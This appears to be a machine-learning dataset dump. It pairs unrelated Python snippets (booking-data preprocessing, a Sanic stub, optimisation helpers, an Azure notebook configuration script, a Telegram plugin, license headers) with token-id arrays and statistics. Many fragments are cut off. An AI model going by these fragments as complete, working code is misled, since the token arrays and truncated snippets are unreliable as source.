(4, 8, "Easter"), (4, 22, "Spring and Autumn"),
(5, 27, "SBH"),
(6, 3, "Early Summer"),
(7, 22, "Summer holidays"),
(9, 2, "Early Autumn"), (9, 16, "Spring and Autumn"),
(10, 28, "Half Terms"),
(11, 4, "Winter"),
(12, 23, "Christmas"), (12, 30, "New Year"),
],
2007: [
(1, 1, "New Year"), (1, 6, "Winter"),
(2, 17, "Half Terms"), (2, 24, "Spring and Autumn"),
(4, 7, "Easter"),
(4, 21, "Spring and Autumn"),
(5, 26, "SBH"),
(6, 2, "Early Summer"),
(7, 21, "Summer holidays"),
(9, 1, "Early Autumn"), (9, 15, "Spring and Autumn"),
(10, 27, "Half Terms"),
(11, 3, "Winter"),
(12, 22, "Christmas"), (12, 29, "New Year"),
],
2008: [
(1, 1, "New Year"), (1, 5, "Winter"),
(2, 16, "Half Terms"), (2, 23, "Spring and Autumn"),
(3, 22, "Easter"),
(4, 19, "Spring and Autumn"),
(5, 24, "SBH"), (5, 31, "Early Summer"),
(7, 19, "Summer holidays"),
(8, 30, "Early Autumn"),
(9, 13, "Spring and Autumn"),
(10, 25, "Half Terms"),
(11, 1, "Winter"),
(12, 20, "Christmas"),
],
}
COLS_TO_DROP = [
'pname', 'region', 'sleeps', 'stars', 'proppostcode', # can be taken from property
'bookdate_scoreboard', 'book_year', 'hh_gross', 'hh_net', 'ho', # HH specific
'holidayprice', # correlates with avg_spend_per_head
'bighouse', 'burghisland', 'boveycastle', # no need
'sourcecostid', # is a pair of u'sourcedesc', u'category'
'drivedistance', # correlates with drivetime
]
NOT_NA_COLS = [u'bookcode', u'code', u'propcode', u'year', u'breakpoint', u'avg_spend_per_head']
DATE_COLS = [u'bookdate', u'sdate', u"fdate"]
FLOAT_COLS = [u'avg_spend_per_head', u'drivetime']
INT_COLS = [u'adults', u'babies', u'children', u'pets']
CATEGORICAL_COLS = [u'sourcedesc', u'category']
if __name__ == '__main__':
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-i', required=True, dest="input_csv",
help=u'Path to a csv file with bookings')
parser.add_argument('--id', default=";", dest="input_csv_delimiter",
help=u"The input file's delimiter. Default: ';'")
parser.add_argument('-o', default="bookings.csv", dest="output_csv",
help=u'Path to an output file. Default: booking.csv')
parser.add_argument("--log-level", default='INFO', dest="log_level",
choices=['DEBUG', 'INFO', 'WARNINGS', 'ERROR'], help=u"Logging level")
args = parser.parse_args()
logging.basicConfig(
format='%(asctime)s %(levelname)s:%(message)s', stream=sys.stdout, level=getattr(logging, args.log_level)
)
main()
| [
37811,
198,
1212,
4226,
20658,
290,
25978,
262,
1366,
900,
286,
1492,
654,
329,
262,
2003,
8748,
198,
37811,
198,
198,
11748,
1822,
29572,
198,
11748,
18931,
198,
11748,
25064,
198,
198,
11748,
19798,
292,
355,
279,
67,
198,
198,
6738,
... | 2.116576 | 2,582 |
from sanic import Blueprint, Request, HTTPResponse, response
from sanic.models.handler_types import RouteHandler
from functools import wraps
from inspect import isawaitable
from typing import Callable, Dict, Any, Union, Awaitable, List, Optional
ACCEPTED_WISH_VERS = ['wish.alpha.v1']
WishHandler = Callable[..., Union[Dict[str, Any], Awaitable[Dict[str, Any]]]] | [
6738,
5336,
291,
1330,
39932,
11,
19390,
11,
7154,
51,
4805,
9774,
2591,
11,
2882,
198,
6738,
5336,
291,
13,
27530,
13,
30281,
62,
19199,
1330,
18956,
25060,
198,
6738,
1257,
310,
10141,
1330,
27521,
198,
6738,
10104,
1330,
318,
707,
... | 3.137931 | 116 |
#!/usr/bin/env python
"""Algorthims for function optimisation
great_deluge() is a hillclimbing algorithm based on:
Gunter Dueck: New Optimization Heuristics, The Great Deluge Algorithm
and the Record-to-Record Travel. Journal of Computational Physics, Vol.
104, 1993, pp. 86 - 92
ga_evolve() is a basic genetic algorithm in which all internal functions can
be overridden
NOTE: both optimisation functions are generators.
"""
from numpy.random import normal
__author__ = "Daniel McDonald and Rob Knight"
__copyright__ = "Copyright 2007-2012, The Cogent Project"
__credits__ = ["Daniel McDonald", "Rob Knight"]
__license__ = "GPL"
__version__ = "1.5.3"
__maintainer__ = "Daniel McDonald"
__email__ = "mcdonadt@colorado.edu"
__status__ = "Production"
def _simple_breed(best, num, mutation_rate, random_f):
"""Returns num copies of parent with mutation_rate changes"""
result = []
score, parent = best
for child_number in range(num):
if random_f() <= mutation_rate:
child = parent.mutate()
result.append(child)
else:
result.append(parent)
return result
def _simple_score(child, target):
"""Returns the childs score as defined by the childs scoring function"""
return child.score(target)
def _simple_init(parent, num):
"""Creates a list parent copies"""
return [parent.copy() for i in range(num)]
def _simple_select(population, scores):
"""Returns a tuple: (best_score, best_child)"""
scored = zip(scores, population)
scored.sort()
return scored[0]
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
37811,
2348,
70,
1506,
12078,
329,
2163,
6436,
5612,
628,
220,
220,
1049,
62,
12381,
2217,
3419,
318,
257,
12788,
565,
320,
4623,
11862,
1912,
319,
25,
220,
220,
220,
220,
198,
220,
... | 2.863799 | 558 |
import argparse
import boto3
import json
import logging
import os
from progressbar import ProgressBar
import sys
"""
Collects IAM Policies
Evaluates policies looking for badness (*.*, Effect:Allow + NotAction)
Need to add more tests/use cases
"""
if __name__ == "__main__":
# execute only if run as a script
main()
| [
11748,
1822,
29572,
198,
11748,
275,
2069,
18,
198,
11748,
33918,
198,
11748,
18931,
198,
11748,
28686,
198,
6738,
4371,
5657,
1330,
18387,
10374,
198,
11748,
25064,
198,
198,
37811,
198,
31337,
82,
314,
2390,
42283,
198,
198,
36,
2100,
... | 3.264706 | 102 |
import json
import os
import re
from testinfra.utils.ansible_runner import AnsibleRunner
import util
testinfra_hosts = AnsibleRunner(os.environ['MOLECULE_INVENTORY_FILE']).get_hosts('agent-integrations')
| [
11748,
33918,
198,
11748,
28686,
198,
11748,
302,
198,
198,
6738,
1332,
10745,
430,
13,
26791,
13,
504,
856,
62,
16737,
1330,
28038,
856,
49493,
198,
198,
11748,
7736,
198,
198,
9288,
10745,
430,
62,
4774,
82,
796,
28038,
856,
49493,
... | 2.890411 | 73 |
import os
import sys
from contextlib import contextmanager
from invoke import UnexpectedExit
| [
11748,
28686,
198,
11748,
25064,
198,
6738,
4732,
8019,
1330,
4732,
37153,
198,
198,
6738,
26342,
1330,
471,
42072,
30337,
628,
198
] | 4.363636 | 22 |
# -*- coding:utf-8 -*-
from ais_sdk.utils import encode_to_base64
from ais_sdk.utils import decode_to_wave_file
from ais_sdk.distortion_correct import distortion_correct_aksk
from ais_sdk.utils import init_global_env
import json
if __name__ == '__main__':
#
# access moderation distortion correct.post data by ak,sk
#
app_key = '*************'
app_secret = '************'
init_global_env(region='cn-north-1')
demo_data_url = 'https://ais-sample-data.obs.cn-north-1.myhuaweicloud.com/vat-invoice.jpg'
#call interface use the url correction is true means do not correction
result = distortion_correct_aksk(app_key, app_secret, "", demo_data_url, True)
result_obj = json.loads(result)
if result_obj['result']['data'] != '':
decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-1.png')
else:
print(result)
# call interface use the file
result = distortion_correct_aksk(app_key, app_secret, encode_to_base64('data/moderation-distortion.jpg'), '', True)
result_obj = json.loads(result)
if result_obj['result']['data'] != '':
decode_to_wave_file(result_obj['result']['data'], 'data/moderation-distortion-aksk-2.png')
else:
print(result) | [
2,
532,
9,
12,
19617,
25,
40477,
12,
23,
532,
9,
12,
198,
6738,
257,
271,
62,
21282,
74,
13,
26791,
1330,
37773,
62,
1462,
62,
8692,
2414,
198,
6738,
257,
271,
62,
21282,
74,
13,
26791,
1330,
36899,
62,
1462,
62,
19204,
62,
7753... | 2.551515 | 495 |
# Generated by Django 2.2.6 on 2019-10-25 16:24
from django.db import migrations, models
import django.db.models.deletion
| [
2,
2980,
515,
416,
37770,
362,
13,
17,
13,
21,
319,
13130,
12,
940,
12,
1495,
1467,
25,
1731,
198,
198,
6738,
42625,
14208,
13,
9945,
1330,
15720,
602,
11,
4981,
198,
11748,
42625,
14208,
13,
9945,
13,
27530,
13,
2934,
1616,
295,
... | 2.818182 | 44 |
from rainbow.cloudformation import Cloudformation
from base import DataSourceBase
__all__ = ['CfnOutputsDataSource', 'CfnResourcesDataSource', 'CfnParametersDataSource']
| [
6738,
27223,
13,
17721,
1161,
1330,
10130,
1161,
198,
6738,
2779,
1330,
6060,
7416,
14881,
198,
198,
834,
439,
834,
796,
37250,
34,
22184,
26410,
82,
6601,
7416,
3256,
705,
34,
22184,
33236,
6601,
7416,
3256,
705,
34,
22184,
48944,
6601... | 3.345455 | 55 |
import redis
from bundle_config import config
from django.core.management.base import NoArgsCommand
| [
11748,
2266,
271,
198,
6738,
18537,
62,
11250,
1330,
4566,
198,
198,
6738,
42625,
14208,
13,
7295,
13,
27604,
13,
8692,
1330,
1400,
42035,
21575,
198
] | 3.884615 | 26 |
#!/usr/bin/env python
# Copyright 2020 Stanford University, Los Alamos National Laboratory
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
from __future__ import absolute_import, division, print_function, unicode_literals
import argparse
import os
import subprocess
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('--ffhome-dir', required=True)
parser.add_argument('--libname', required=True)
parser.add_argument('--output-dir', required=False)
args = parser.parse_args()
build(args.output_dir, args.libname, args.ffhome_dir)
| [
2,
48443,
14629,
14,
8800,
14,
24330,
21015,
198,
198,
2,
15069,
12131,
13863,
2059,
11,
5401,
41514,
418,
2351,
18643,
198,
2,
198,
2,
49962,
739,
262,
24843,
13789,
11,
10628,
362,
13,
15,
357,
1169,
366,
34156,
15341,
198,
2,
345... | 3.424528 | 318 |
"""This plugin extends Gaphor with XMI export functionality."""
import logging
from gaphor.abc import ActionProvider, Service
from gaphor.core import action, gettext
from gaphor.plugins.xmiexport import exportmodel
from gaphor.ui.filedialog import FileDialog
logger = logging.getLogger(__name__)
| [
37811,
1212,
13877,
14582,
402,
6570,
273,
351,
1395,
8895,
10784,
11244,
526,
15931,
198,
198,
11748,
18931,
198,
198,
6738,
308,
6570,
273,
13,
39305,
1330,
7561,
29495,
11,
4809,
198,
6738,
308,
6570,
273,
13,
7295,
1330,
2223,
11,
... | 3.370787 | 89 |
import contextlib
import os
import pathlib
import subprocess
import sys
import tempfile
| [
11748,
4732,
8019,
198,
11748,
28686,
198,
11748,
3108,
8019,
198,
11748,
850,
14681,
198,
11748,
25064,
198,
11748,
20218,
7753,
628,
628,
628,
628,
628,
628
] | 3.666667 | 27 |
import os
commit_string = "data"
not_add = ['results', 'data', 'weights']
for item in os.listdir():
if item in not_add:
# print(item)
continue
else:
os.system(f"git add {item}")
os.system(f'git commit -m "{commit_string}"')
os.system("git push origin main") | [
11748,
28686,
198,
198,
41509,
62,
8841,
796,
366,
7890,
1,
198,
1662,
62,
2860,
796,
37250,
43420,
3256,
705,
7890,
3256,
705,
43775,
20520,
198,
1640,
2378,
287,
28686,
13,
4868,
15908,
33529,
198,
220,
220,
220,
611,
2378,
287,
407... | 2.416667 | 120 |
from src.cmp.pycompiler import Grammar
from src.ast_nodes import (
ProgramNode,
ClassDeclarationNode,
FuncDeclarationNode,
AttrDeclarationNode,
IfNode,
WhileNode,
LetNode,
CaseNode,
IsvoidNode,
AssignNode,
VarDeclarationNode,
CaseItemNode,
NotNode,
LessNode,
LessEqualNode,
EqualNode,
PlusNode,
MinusNode,
StarNode,
DivNode,
NegNode,
InstantiateNode,
BlockNode,
CallNode,
ConstantNumNode,
VariableNode,
BooleanNode,
StringNode,
)
| [
6738,
12351,
13,
48991,
13,
9078,
5589,
5329,
1330,
20159,
3876,
201,
198,
6738,
12351,
13,
459,
62,
77,
4147,
1330,
357,
201,
198,
220,
220,
220,
6118,
19667,
11,
201,
198,
220,
220,
220,
5016,
37835,
10186,
19667,
11,
201,
198,
22... | 2.121771 | 271 |
# For @UniBorg
# courtesy Yasir siddiqui
"""Self Destruct Plugin
.sd <time in seconds> <text>
"""
import time
from userbot import CMD_HELP
from telethon.errors import rpcbaseerrors
from userbot.utils import admin_cmd
import importlib.util
CMD_HELP.update({
"selfdestruct":
".sdm number | [text]\
\nUsage: self destruct this message in number seconds \
\n\n.self number | [text]\
\nUsage:self destruct this message in number seconds with showing that it will destruct. \
"
})
| [
2,
1114,
2488,
3118,
72,
33,
2398,
198,
2,
12537,
25957,
343,
264,
1638,
1557,
72,
198,
37811,
24704,
8145,
1356,
42636,
198,
13,
21282,
1279,
2435,
287,
4201,
29,
1279,
5239,
29,
198,
37811,
628,
198,
11748,
640,
198,
6738,
2836,
1... | 2.816667 | 180 |
import os
obj = Template(template_name='test.html', context={'name': 'OSAMA'})
print(obj.render())
obj.context= None
print(obj.render(context={'name': 'os'}))
obj2 = Template(template_name='test.html')
print(obj2.render(context={'name': 'os'})) | [
11748,
28686,
628,
198,
26801,
796,
37350,
7,
28243,
62,
3672,
11639,
9288,
13,
6494,
3256,
4732,
34758,
6,
3672,
10354,
705,
2640,
25087,
6,
30072,
198,
4798,
7,
26801,
13,
13287,
28955,
198,
26801,
13,
22866,
28,
6045,
198,
4798,
7,... | 2.786517 | 89 |
#Basics
a = "hello"
a += " I'm a dog"
print(a)
print(len(a))
print(a[1:]) #Output: ello I'm a dog
print(a[:5]) #Output: hello(index 5 is not included)
print(a[2:5])#Output: llo(index 2 is included)
print(a[::2])#Step size
#string is immutable so you can't assign a[1]= b
x = a.upper()
print(x)
x = a.capitalize()
print(x)
x = a.split('e')
print(x)
x = a.split() #splits the string by space
print(x)
x = a.strip() #removes any whitespace from beginning or the end
print(x)
x = a.replace('l','xxx')
print(x)
x = "Insert another string here: {}".format('insert me!')
x = "Item One: {} Item Two: {}".format('dog', 'cat')
print(x)
x = "Item One: {m} Item Two: {m}".format(m='dog', n='cat')
print(x)
#command-line string input
print("Enter your name:")
x = input()
print("Hello: {}".format(x)) | [
2,
15522,
873,
198,
198,
64,
796,
366,
31373,
1,
198,
64,
15853,
366,
314,
1101,
257,
3290,
1,
198,
4798,
7,
64,
8,
198,
4798,
7,
11925,
7,
64,
4008,
198,
4798,
7,
64,
58,
16,
25,
12962,
1303,
26410,
25,
304,
18798,
314,
1101,... | 2.478125 | 320 |
# -*- coding: utf-8 -*-
"""
test_01_accept_time_get_headers
~~~~~~~~~~~~~~
The 2GIS API Test
Check time get headers
:author: Vadim Glushkov
:copyright: Copyright 2019, The2GIS API Test"
:license: MIT
:version: 1.0.0
:maintainer: Vadim Glushkov
:email: plussg@yandex.ru
:status: Development
"""
import pytest
import allure
from tools.api_responses import get_response
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
37811,
198,
9288,
62,
486,
62,
13635,
62,
2435,
62,
1136,
62,
50145,
198,
15116,
8728,
4907,
198,
198,
464,
362,
38,
1797,
7824,
6208,
198,
9787,
640,
651,
24697,
198,... | 2.683453 | 139 |
"""Returns the string length of categorical values"""
from h2oaicore.transformer_utils import CustomTransformer
import datatable as dt
import numpy as np
| [
37811,
35561,
262,
4731,
4129,
286,
4253,
12409,
3815,
37811,
198,
6738,
289,
17,
12162,
291,
382,
13,
7645,
16354,
62,
26791,
1330,
8562,
8291,
16354,
198,
11748,
4818,
21156,
355,
288,
83,
198,
11748,
299,
32152,
355,
45941,
628
] | 3.875 | 40 |
"""
Subpackage containing EOTasks for geometrical transformations
"""
from .utilities import ErosionTask, VectorToRaster, RasterToVector
from .sampling import PointSamplingTask, PointSampler, PointRasterSampler
__version__ = '0.4.2'
| [
37811,
198,
7004,
26495,
7268,
412,
2394,
6791,
329,
4903,
908,
8143,
38226,
198,
37811,
198,
198,
6738,
764,
315,
2410,
1330,
412,
4951,
295,
25714,
11,
20650,
2514,
49,
1603,
11,
371,
1603,
2514,
38469,
198,
6738,
764,
37687,
11347,
... | 3.357143 | 70 |
"""User Model."""
# Django
from django.db import models
from django.contrib.auth.models import AbstractUser
# Utilities
from .utils import ApiModel
| [
37811,
12982,
9104,
526,
15931,
198,
198,
2,
37770,
198,
6738,
42625,
14208,
13,
9945,
1330,
4981,
220,
198,
6738,
42625,
14208,
13,
3642,
822,
13,
18439,
13,
27530,
1330,
27741,
12982,
198,
198,
2,
41086,
198,
6738,
764,
26791,
1330,
... | 3.347826 | 46 |
from collections import namedtuple
import json
from asynctest.mock import patch
import pytest
from ethereumd.server import RPCServer
from ethereumd.proxy import EthereumProxy
from aioethereum.errors import BadResponseError
from .base import BaseTestRunner
Request = namedtuple('Request', ['json'])
| [
6738,
17268,
1330,
3706,
83,
29291,
198,
11748,
33918,
198,
6738,
355,
2047,
310,
395,
13,
76,
735,
1330,
8529,
198,
11748,
12972,
9288,
198,
198,
6738,
304,
17733,
67,
13,
15388,
1330,
39400,
10697,
198,
6738,
304,
17733,
67,
13,
364... | 3.662651 | 83 |
# This file is part of NEORL.
# Copyright (c) 2021 Exelon Corporation and MIT Nuclear Science and Engineering
# NEORL is free software: you can redistribute it and/or modify
# it under the terms of the MIT LICENSE
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#NEORL team thanks stable-baselines as we have used their own implementation of different RL
#algorathims to establish NEORL optimizers. We have used the files in this open-source repo:
#https://github.com/hill-a/stable-baselines | [
2,
220,
220,
220,
770,
2393,
318,
636,
286,
10635,
1581,
43,
13,
201,
198,
201,
198,
2,
220,
220,
220,
15069,
357,
66,
8,
33448,
1475,
417,
261,
10501,
290,
17168,
19229,
5800,
290,
14044,
201,
198,
2,
220,
220,
220,
10635,
1581,
... | 3.069401 | 317 |
from scipy.io import wavfile
import numpy as np
import pingouin as pg
import pandas as pd
_,data = wavfile.read('wav//ed//mp3baked.wav')
_,data1 = wavfile.read('wav//ing//ingeating.wav')
i= data.shape[0]-1
j = data1.shape[0]-1
index_1 = -1
index_2 = -1
try:
data.shape[1]
except IndexError:
data = data.reshape(data.shape[0],1)
try:
data1.shape[1]
except IndexError:
data1 = data1.reshape(data1.shape[0],1)
while True:
if data[i,0] !=0 and index_1==-1:
index_1 = i
pass
if data1[j,0] !=0 and index_2==-1:
index_2 = j
pass
if index_1!=-1 and index_2!=-1:
break
i-=1
j-=1
data = data[-index_1:,:]
data1 = data1[-index_2:,:]
data = data[-2000:,:]
data1= data1[-2000:,:]
x =pg.corr(x=data[:,0],y=data1[:,0])
print(x)
# print(data.tostring())
# print(data1.tostring())
# data = data[:,:]
# data1 = data1[:,:]
# data = data.reshape(data.shape[0],1)
# data1 = data1.reshape(data1.shape[0],1)
# data = data[-10000:,:]
# data1 = data1[-10000:,:]
# print(data1.shape[1])
# df = pd.DataFrame(data,data1)
# print(df.head())
# print(data1.shape)
# data = data[-5000:,:]
# data1 = data1[-5000:,:]
# #
# x =pg.corr(x=data[:,0],y=data1[:,0])
# print(x)
| [
6738,
629,
541,
88,
13,
952,
1330,
266,
615,
7753,
201,
198,
11748,
299,
32152,
355,
45941,
201,
198,
11748,
29400,
280,
259,
220,
355,
23241,
201,
198,
11748,
19798,
292,
355,
279,
67,
201,
198,
201,
198,
62,
11,
7890,
796,
266,
... | 1.881188 | 707 |
from textwrap import dedent
import pytest
from pylox.lox import Lox
TEST_SRC = dedent(
"""\
/*
This is a multiline block comment
*/
"""
)
EXPECTED_STDOUTS: list[str] = []
| [
6738,
2420,
37150,
1330,
4648,
298,
198,
198,
11748,
12972,
9288,
198,
198,
6738,
279,
2645,
1140,
13,
75,
1140,
1330,
406,
1140,
198,
198,
51,
6465,
62,
50,
7397,
796,
4648,
298,
7,
198,
220,
220,
220,
37227,
59,
198,
220,
220,
2... | 2.27907 | 86 |
from mlbase.utils.misc import lazy
tensorflow = lazy("tensorflow")
numpy = lazy("numpy")
gensim = lazy("gensim")
| [
6738,
25962,
8692,
13,
26791,
13,
44374,
1330,
16931,
198,
198,
83,
22854,
11125,
796,
16931,
7203,
83,
22854,
11125,
4943,
198,
77,
32152,
796,
16931,
7203,
77,
32152,
4943,
198,
70,
641,
320,
796,
16931,
7203,
70,
641,
320,
4943,
19... | 2.714286 | 42 |
import re
import setuptools
README_FILENAME = "README.md"
VERSION_FILENAME = "observed.py"
VERSION_RE = r"^__version__ = ['\"]([^'\"]*)['\"]"
# Get version information
with open(VERSION_FILENAME, "r") as version_file:
mo = re.search(VERSION_RE, version_file.read(), re.M)
if mo:
version = mo.group(1)
else:
msg = "Unable to find version string in %s." % (version_file,)
raise RuntimeError(msg)
# Get description information
with open(README_FILENAME, "r") as description_file:
long_description = description_file.read()
setuptools.setup(
name="observed",
version=version,
author="Daniel Sank",
author_email="sank.daniel@gmail.com",
description="Observer pattern for functions and bound methods",
long_description=long_description,
long_description_content_type="text/markdown",
url="https://github.com/DanielSank/observed",
py_modules=["observed"],
classifiers=[
"Programming Language :: Python :: 3",
"License :: OSI Approved :: MIT License",
"Operating System :: OS Independent",
],
)
| [
11748,
302,
198,
11748,
900,
37623,
10141,
628,
198,
15675,
11682,
62,
46700,
1677,
10067,
796,
366,
15675,
11682,
13,
9132,
1,
198,
43717,
62,
46700,
1677,
10067,
796,
366,
672,
45852,
13,
9078,
1,
198,
43717,
62,
2200,
796,
374,
1,
... | 2.746193 | 394 |
import os
import json
import numpy as np
import pickle
from typing import Any
from pycocotools.coco import COCO
from torch.utils.data import Dataset
| [
11748,
28686,
198,
11748,
33918,
198,
11748,
299,
32152,
355,
45941,
198,
11748,
2298,
293,
198,
6738,
19720,
1330,
4377,
198,
198,
6738,
12972,
66,
420,
313,
10141,
13,
66,
25634,
1330,
327,
4503,
46,
198,
6738,
28034,
13,
26791,
13,
... | 3.212766 | 47 |
import sys
import operator
sys.stdin = open('input.txt')
fact = [1, 1]
for i in range(2, 15):
fact.append(fact[-1] * i)
while True:
try:
n, k = map(int, raw_input().split())
coef = map(int, raw_input().split())
except:
break
print fact[n] / reduce(operator.mul, [fact[c] for c in coef])
| [
11748,
25064,
198,
11748,
10088,
198,
198,
17597,
13,
19282,
259,
796,
1280,
10786,
15414,
13,
14116,
11537,
198,
22584,
796,
685,
16,
11,
352,
60,
198,
1640,
1312,
287,
2837,
7,
17,
11,
1315,
2599,
198,
220,
220,
220,
1109,
13,
332... | 2.201342 | 149 |
from django.contrib.auth.models import User
from django.db import models
from django.urls import reverse
# Create your models here.
| [
6738,
42625,
14208,
13,
3642,
822,
13,
18439,
13,
27530,
1330,
11787,
198,
6738,
42625,
14208,
13,
9945,
1330,
4981,
198,
6738,
42625,
14208,
13,
6371,
82,
1330,
9575,
198,
198,
2,
13610,
534,
4981,
994,
13,
628
] | 3.526316 | 38 |
#!/usr/bin/python
# *****************************************************************************
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
#
# ******************************************************************************
import logging
import json
import sys
from dlab.fab import *
from dlab.meta_lib import *
from dlab.actions_lib import *
import os
import uuid
if __name__ == "__main__":
local_log_filename = "{}_{}_{}.log".format(os.environ['conf_resource'], os.environ['project_name'],
os.environ['request_id'])
local_log_filepath = "/logs/" + os.environ['conf_resource'] + "/" + local_log_filename
logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s',
level=logging.DEBUG,
filename=local_log_filepath)
try:
# generating variables dictionary
print('Generating infrastructure names and tags')
notebook_config = dict()
try:
notebook_config['exploratory_name'] = os.environ['exploratory_name'].replace('_', '-')
except:
notebook_config['exploratory_name'] = ''
try:
notebook_config['computational_name'] = os.environ['computational_name'].replace('_', '-')
except:
notebook_config['computational_name'] = ''
notebook_config['service_base_name'] = os.environ['conf_service_base_name']
notebook_config['resource_group_name'] = os.environ['azure_resource_group_name']
notebook_config['region'] = os.environ['azure_region']
notebook_config['user_name'] = os.environ['edge_user_name'].replace('_', '-')
notebook_config['project_name'] = os.environ['project_name'].replace('_', '-')
notebook_config['project_tag'] = os.environ['project_name'].replace('_', '-')
notebook_config['endpoint_tag'] = os.environ['endpoint_name'].replace('_', '-')
notebook_config['cluster_name'] = notebook_config['service_base_name'] + '-' + notebook_config['project_name'] + \
'-de-' + notebook_config['exploratory_name'] + '-' + \
notebook_config['computational_name']
notebook_config['master_node_name'] = notebook_config['cluster_name'] + '-m'
notebook_config['slave_node_name'] = notebook_config['cluster_name'] + '-s'
notebook_config['notebook_name'] = os.environ['notebook_instance_name']
notebook_config['key_path'] = os.environ['conf_key_dir'] + '/' + os.environ['conf_key_name'] + '.pem'
notebook_config['dlab_ssh_user'] = os.environ['conf_os_user']
notebook_config['instance_count'] = int(os.environ['dataengine_instance_count'])
try:
notebook_config['spark_master_ip'] = AzureMeta().get_private_ip_address(
notebook_config['resource_group_name'], notebook_config['master_node_name'])
notebook_config['notebook_ip'] = AzureMeta().get_private_ip_address(
notebook_config['resource_group_name'], notebook_config['notebook_name'])
except Exception as err:
print('Error: {0}'.format(err))
sys.exit(1)
notebook_config['spark_master_url'] = 'spark://{}:7077'.format(notebook_config['spark_master_ip'])
except Exception as err:
for i in range(notebook_config['instance_count'] - 1):
slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1)
AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name)
AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name'])
append_result("Failed to generate infrastructure names", str(err))
sys.exit(1)
try:
logging.info('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]')
print('[INSTALLING KERNELS INTO SPECIFIED NOTEBOOK]')
params = "--cluster_name {0} --spark_version {1} --hadoop_version {2} --os_user {3} --spark_master {4}" \
" --keyfile {5} --notebook_ip {6} --datalake_enabled {7} --spark_master_ip {8}".\
format(notebook_config['cluster_name'], os.environ['notebook_spark_version'],
os.environ['notebook_hadoop_version'], notebook_config['dlab_ssh_user'],
notebook_config['spark_master_url'], notebook_config['key_path'], notebook_config['notebook_ip'],
os.environ['azure_datalake_enable'], notebook_config['spark_master_ip'])
try:
local("~/scripts/{}_{}.py {}".format(os.environ['application'], 'install_dataengine_kernels', params))
except:
traceback.print_exc()
raise Exception
except Exception as err:
print('Error: {0}'.format(err))
for i in range(notebook_config['instance_count'] - 1):
slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1)
AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name)
AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name'])
append_result("Failed installing Dataengine kernels.", str(err))
sys.exit(1)
try:
logging.info('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]')
print('[UPDATING SPARK CONFIGURATION FILES ON NOTEBOOK]')
params = "--hostname {0} " \
"--keyfile {1} " \
"--os_user {2} " \
"--cluster_name {3} " \
.format(notebook_config['notebook_ip'],
notebook_config['key_path'],
notebook_config['dlab_ssh_user'],
notebook_config['cluster_name'])
try:
local("~/scripts/{0}.py {1}".format('common_configure_spark', params))
except:
traceback.print_exc()
raise Exception
except Exception as err:
print('Error: {0}'.format(err))
for i in range(notebook_config['instance_count'] - 1):
slave_name = notebook_config['slave_node_name'] + '{}'.format(i+1)
AzureActions().remove_instance(notebook_config['resource_group_name'], slave_name)
AzureActions().remove_instance(notebook_config['resource_group_name'], notebook_config['master_node_name'])
append_result("Failed to configure Spark.", str(err))
sys.exit(1)
try:
with open("/root/result.json", 'w') as result:
res = {"notebook_name": notebook_config['notebook_name'],
"Action": "Configure notebook server"}
print(json.dumps(res))
result.write(json.dumps(res))
except:
print("Failed writing results.")
sys.exit(0)
| [
2,
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14629,
14,
8800,
14,
29412,
198,
198,
2,
41906,
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198,
2,
198,
2,
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284,
262,
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357,
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37,
8,
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530,
198,
2,
393,
517,
18920,
5964,
11704,
13,
220,
4091,
262,
28536,
2393,
... | 2.406001 | 3,133 |
# -*- coding: utf-8 -*-
"""
helper function: convert Hz to Bark scale
Args:
fInHz: The frequency to be converted, can be scalar or vector
cModel: The name of the model ('Schroeder' [default], 'Terhardt', 'Zwicker', 'Traunmuller')
Returns:
Bark values of the input dimension
"""
import numpy as np
import math
| [
2,
532,
9,
12,
19617,
25,
3384,
69,
12,
23,
532,
9,
12,
198,
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198,
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525,
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25,
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284,
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25,
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220,
220,
220,
277,
818,
7399,
25,
383,
8373,
284,
307,
11513,
11,
460,... | 2.894737 | 114 |
# Copyright 2019 The Magenta Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
